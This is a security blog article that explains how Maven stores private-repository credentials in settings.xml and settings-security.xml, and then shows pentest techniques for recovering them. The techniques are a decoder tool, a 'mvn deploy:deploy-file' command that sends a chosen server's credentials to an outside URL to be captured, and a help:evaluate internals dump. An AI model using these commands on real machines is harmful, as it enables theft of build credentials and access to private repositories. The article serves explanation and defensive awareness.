Maven repositories (in)security
In this article we will explain how you can add private and public repositories to Maven, then add your credentials in plaintext, encrypt those credentials and finally see how we can retrieve those credentials in the context of some pentest.
Maven
Maven is, according to the documentation a "project development management and comprehension tool".
With Maven you can have in a single file all information about a project to :
- builds the project. In that case this is almost like a Makefile
- handle dependency management
- generate the documentation
- push the website
- distribute source, documentation and binaries
Here is a small pom.xml example inspired by github
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>life</groupId>
<artifactId>bgtian</artifactId>
<version>1</version>
<packaging>jar</packaging>
<name>sample-pom</name>
<url>https://pro.bgtian.life/2020/Maven-repositories-insecurity/</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<java.version>1.8</java.version>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.1</version>
<configuration>
<source>${java.version}</source>
<target>${java.version}</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
</dependencies>
</project>
When you compile this project, Maven will download from default/central repositories the maven plugin required to handle your build, the plugin you have specified and the dependencies you have listed:
mvn compile
[...]
[INFO] Scanning for projects...
[INFO]
[INFO] ----------------------------< life:bgtian >-----------------------------
[INFO] Building sample-pom 1
[INFO] --------------------------------[ jar ]---------------------------------
Downloading from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.pom
Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.pom (14 kB at 39 kB/s)
Downloading from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.jar
Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.jar (215 kB at 1.5 MB/s)
[...]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 2.223 s
[INFO] Finished at: 2020-01-08T10:02:28+01:00
[INFO] ------------------------------------------------------------------------
Dependencies downloaded over public repositories are stored locally in our own local repository in <$HOME>/.m2/repository. This allow maven to share common dependencies between project without downloading them again.
On this document, we will focus on how maven handle repositories especially when using a (private) repository manager, that act as a proxy. This require some explanation on why we may want to proxy our dependencies, and why a using a private one.
First, the way that JAVA and Maven package artifacts and dependencies is really atomic and you often have dozen of main dependencies for hundred of indirect dependencies. When you change the version of your framework on your project, all your developer will download all the dependencies.
Using a proxy is a practical choice to save bandwidth and the precious time of your developers. This is also a warranty that the dependencies that you grab during your devlopement phase will still be availiable (in your proxy) over time and ensure you can rebuild your software. Last point, with a private proxy you can add 3rd parties library that are not on public repositories without having all developer to manually copy it, or to add it to the source code of your project.
Also, in addition to 3rd party library, we also have our own project, where we have versionning, snapshooting and some of our libraries rely on other internal library. With a private repository like Nexus, you can define on your Maven configuration to upload your build directly into your own repository/proxy.
quick note about Nexus
Nexus is one of the most famous repository managers (proxy) used with Maven.
According to Sonatype, the editor of Nexus, they are more than 120,000 active instance of it end of 2016.
We will use Nexus OSS here for the demonstration, but most repository manager work identically as the authentication is handled by Maven.
For the reference, the Maven Documentation list the following repository managers:
- Apache Archiva (open source)
- CloudRepo (commercial)
- Cloudsmith Package (commercial)
- JFrog Artifactory Open Source (open source)
- JFrog Artifactory Pro (commercial)
- MyGet (commercial)
- Sonatype Nexus OSS (open source)
- Sonatype Nexus Pro (commercial)
- packagecloud.io (commercial)
Most of those managers can be plugged to your AD/LDAP to handle user and permission...
Setting up a (global) repository with Maven
We can have a repository per project or/and a global repository as explained on the documentation Global repositories (called mirror) are used to get public dependencies, when project repositories are often used for uploading your own artifact. To change the default/central repository we will edit our global settings.xml, generally located inside the .m2 folder of $HOME folder.
<settings>
<mirrors>
<mirror>
<id>central001</id>
<name>UK Central</name>
<url>http://uk.maven.org/maven2</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>
</settings>
Now we clean your local repository and compile again:
rm ~/.m2/repository/commons-io -fr
mvn compile
[...]
[INFO] Scanning for projects...
[INFO]
[INFO] ----------------------------< life:bgtian >-----------------------------
[INFO] Building sample-pom 1
[INFO] --------------------------------[ jar ]---------------------------------
Downloading from central001: http://uk.maven.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.pom
Downloaded from central001: http://uk.maven.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.pom (14 kB at 136 kB/s)
Downloading from central001: http://uk.maven.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.jar
Downloaded from central001: http://uk.maven.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.jar (215 kB at 6.7 MB/s)
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ bgtian ---
[...]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 1.704 s
[INFO] Finished at: 2020-01-08T10:19:34+01:00
[INFO] ------------------------------------------------------------------------
We can see that our dependencies are now downloaded from uk.maven.org.
For the project/private repositories you will add in you pom something like:
<project>
...
<repositories>
<repository>
<id>server001</id>
<url>http://myserver/repo</url>
</repository>
</repositories>
...
</project>
In order to illustrate that we will add a dependency to our project, and add the repository to get it.
<dependencies>
[...]
<dependency>
<groupId>com.mishadoff</groupId>
<artifactId>flux</artifactId>
<version>0.6.1</version>
</dependency>
</dependencies>
<repositories>
<repository>
<id>server001</id>
<url>http://clojars.org/repo</url>
</repository>
</repositories>
[...]
If we compile the project without adding the repository we will get an error as this artifact is not hosted on maven central:
[INFO] Scanning for projects...
[INFO]
[INFO] ----------------------------< life:bgtian >-----------------------------
[INFO] Building sample-pom 1
[INFO] --------------------------------[ jar ]---------------------------------
Downloading from central001: http://uk.maven.org/maven2/com/mishadoff/flux/0.6.1/flux-0.6.1.pom
[WARNING] The POM for com.mishadoff:flux:jar:0.6.1 is missing, no dependency information available
Downloading from central001: http://uk.maven.org/maven2/com/mishadoff/flux/0.6.1/flux-0.6.1.jar
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 1.049 s
[INFO] Finished at: 2020-01-08T10:37:50+01:00
[INFO] ------------------------------------------------------------------------
When repositories, like our server001 and central001 need credentials, configuration should be added in our settings.xml.
As this file is under the user responsabilities, informations about servers including credentials was stored in plaintext:
<servers>
<server>
<id>server001</id>
<username>server001-login</username>
<password>server001-password</password>
[...]
</server>
</servers>
note that the server id should be the same in pom.xml and settings.xml
Hopefully, since the versions 2.1 (2009-03-22) of Maven you can now encrypt your password with a master key, and since 3.2.1 (2014-02-21) you don't even have to put your password on the command line, to avoid people to see it on your history.
mvn --encrypt-master-password
Master password:
{EVhF0z/1VwIHSj5uf3shfKlgQLCxCrXD7WMR4q/6p4Y=}
Then you add it to a new file called $HOME/.m2/settings-security.xml (keep the bracket):
<settingsSecurity>
<master>{EVhF0z/1VwIHSj5uf3shfKlgQLCxCrXD7WMR4q/6p4Y=}</master>
</settingsSecurity>
Now we can generate encrypted password instead of using plaintext one.
mvn --encrypt-password
Password:
{4kta37dcdtYHYczbh25JBsSA8ggvq7AvjW9ZoC0wJC/KXsVp0SzkfPdNkNwh5dtP}
<settings>
[...]
<servers>
<server>
<id>server001</id>
<username>server001-login</username>
<password>{4kta37dcdtYHYczbh25JBsSA8ggvq7AvjW9ZoC0wJC/KXsVp0SzkfPdNkNwh5dtP}</password>
</server>
</servers>
</settings>
Let's do the same thing for the mirror:
<settings>
[...]
<servers>
[...]
<server>
<id>central001</id>
<username>central001-login</username>
<password>{TAsZ20ppGM8HNfZaQMAl4bxBwOxp7c3Z2gnJMyJdDEldlg6pVCeRn0R2zEjc9iRY}</password>
</server>
</servers>
</settings>
By default, both the settings.xml with encrypted password and settings-security.xml with encrypted master key are located at the same place. You can change this behavior by changing the place of the settings-security.xml in settings.xml:
<settingsSecurity>
<relocation>/Volumes/mySecureUsb/secure/settings-security.xml</relocation>
</settingsSecurity>
(in)security
We will see way to retrieve the user password we just encrypted.
Maven Decoder
If you have access to the settings.xml and settings-security.xml you can decrypt the master key and all keys created with that master. I wrote a small Java (without dependencies) about that: MavenDecoder
git clone https://github.com/tr4l/misc.git
cd misc/MavenDecoder
javac MavenDecoder.java
java MavenDecoder "{EVhF0z/1VwIHSj5uf3shfKlgQLCxCrXD7WMR4q/6p4Y=}" "{4kta37dcdtYHYczbh25JBsSA8ggvq7AvjW9ZoC0wJC/KXsVp0SzkfPdNkNwh5dtP}"
Master password is : MASTER
Password : server001-password
To sum up, password are encrypted with the master original key, and the master is encrypted with hardcoded password: "settings.security"
Using maven
If you can run maven command as the user, you can also try the following:
mvn help:evaluate
[INFO] Enter the Maven expression i.e. ${project.groupId} or 0 to exit?:
${settings.servers}
<servers>
<server>
<sourceLevel>user-level</sourceLevel>
<sourceLevelSet>false</sourceLevelSet>
<id>server001</id>
<username>server001-login</username>
<password>{4kta37dcdtYHYczbh25JBsSA8ggvq7AvjW9ZoC0wJC/KXsVp0SzkfPdNkNwh5dtP}</password>
</server>
</servers>
As far as I know, this is not possible to retrieve the master from the maven command line. However, we can use default maven command to let maven himself decrypt the password for us! We will need an empty .jar file and we will ask Maven to deploy this jar to our own URL, but using an ID of server we want to retrieve credentials.
mvn deploy:deploy-file -Durl=http://bgtian.life/ -DrepositoryId=server001 -Dfile=a.jar -DgroupId=life -DartifactId=bgtian -Dversion=1
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Stub Project (No POM) 1
[INFO] ------------------------------------------------------------------------
[INFO]
[INFO] --- maven-deploy-plugin:2.7:deploy-file (default-cli) @ standalone-pom ---
Uploading to server001: http://bgtian.life/life/bgtian/1/bgtian-1.jar
Uploading to server001: http://bgtian.life/life/bgtian/1/bgtian-1.pom
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 1.893 s
[INFO] Finished at: 2020-01-07T14:53:53+01:00
[INFO] Final Memory: 9M/204M
[INFO] ------------------------------------------------------------------------
The command is composed as follow:
- mvn deploy:deploy-file // The command we run inside mvn
- -Durl=http://bgtian.life/ // Our custom URL
- -DrepositoryId=server001 // The server ID we want the credentials
- -Dfile=a.jar // The name of our empty file
- -DgroupId=life // Group or the library
- -DartifactId=bgtian // Name of the library
- -Dversion=1
Here, we can see that the build failled because my custom URL doesn't accept PUT request, however if we have a look at the traffic using ngrep:
PUT /life/bgtian/1/bgtian-1.jar HTTP/1.1..Cache-control: no-cache..Cache-store: no-store..Pragma: no-cache..Expires: 0..Accept-Encoding: gzip..User-Agent: Apache-Maven/3.6.0 (Java 11.0.5; Linux 4.15.
0-1051-aws)..Content-Length: 0..Host: bgtian.life..Connection: Keep-Alive..Authorization: Basic c2VydmVyMDAxLWxvZ2luOnNlcnZlcjAwMS1wYXNzd29yZA==....
We can see our Autorization header with the information we wanted.
echo "c2VydmVyMDAxLWxvZ2luOnNlcnZlcjAwMS1wYXNzd29yZA==" | base64 --decode
server001-login:server001-password
Using deep Maven evaluate
The evaluate function of the maven help plugin is really usefull and can extract a lot of information for us. For instance the following command will make a massive dump of all the maven internals
mvn help:evaluate -Dexpression="session"
Well two issues here:
- First on Java 9+ you will probably receive an error "module xxx does not "opens yyy" to unnamed module
- You may quickly run out of memory when doing the dump.
The solution is to open all module to unnamed module and either to add more memory or ask with more details about what we want. Here is a sample command that work on my environement with maven 3.6.3
java -Xms1024m \
--add-opens java.base/jdk.internal.ref=ALL-UNNAMED \
--add-opens java.base/jdk.internal.module=ALL-UNNAMED \
--add-opens java.base/java.lang.module=ALL-UNNAMED \
--add-opens java.base/jdk.internal.loader=ALL-UNNAMED \
-classpath $MAVEN_HOME/boot/plexus-classworlds-2.6.0.jar \
-Dclassworlds.conf=$MAVEN_HOME/bin/m2.conf \
-Dmaven.home=$MAVEN_HOME \
-Dlibrary.jansi.path=$MAVEN_HOME/lib/jansi-native \
-Dmaven.multiModuleProjectDirectory=. \
org.codehaus.plexus.classworlds.launcher.Launcher \
help:evaluate -Dexpression="session.request.remoteRepositories[0].authentication"
[INFO] Scanning for projects...
[INFO]
[INFO] ----------------------------< life:bgtian >-----------------------------
[INFO] Building sample-pom 1
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-help-plugin:3.2.0:evaluate (default-cli) @ bgtian ---
[INFO] No artifact parameter specified, using 'life:bgtian:jar:1' as project.
[INFO]
<org.apache.maven.artifact.repository.Authentication>
<username>central001-login</username>
<password>central001-password</password>
</org.apache.maven.artifact.repository.Authentication>
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 2.031 s
[INFO] Finished at: 2020-01-08T15:15:46+01:00
[INFO] ------------------------------------------------------------------------
Again, we can have our password in clear text, in that case for the central repository
Alternative
JFrog nicely workaround the way Maven handle authentication by using a token. Nexus also support the token authentication in the pro version.